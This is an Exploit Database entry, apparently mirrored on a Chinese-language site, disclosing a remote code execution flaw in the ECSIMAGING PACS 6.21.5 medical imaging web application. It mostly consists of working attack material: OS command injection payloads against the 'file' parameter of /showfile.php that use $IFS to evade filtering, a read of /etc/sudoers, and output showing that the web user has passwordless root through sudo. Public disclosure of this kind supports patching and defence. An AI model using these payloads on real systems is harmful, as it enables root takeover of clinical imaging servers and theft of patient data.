ECSIMAGING PACS 6.21.5 – Remote code execution

• Exploit Database
• 113 阅读

• 作者： shoxxdj
  日期： 2021-01-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49388/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

  # Exploit Title: ECSIMAGING PACS 6.21.5 - Remote code execution # Date: 06/01/2021 # Exploit Author: shoxxdj # Vendor Homepage: https://www.medicalexpo.fr/ # Version: 6.21.5 and bellow ( tested on 6.21.5,6.21.3 ) # Tested on: Linux   ECSIMAGING PACS Application in 6.21.5 and bellow suffers from a OS Injection vulnerability. The parameter "file" on the webpage /showfile.php can be exploited with simple OS injection to gain root access. www-data user has sudo NOPASSWD access :   /showfile.php?file=/etc/sudoers [...] www-data ALL=NOPASSWD: ALL [...]   Command injection can be realized with the $IFS tricks : <url>/showfile.php?file=;ls$IFS-la$IFS/   /showfile.php?file=;sudo$IFS-l [...] User www-data may run the following commands on this host: (root) NOPASSWD: ALL [...]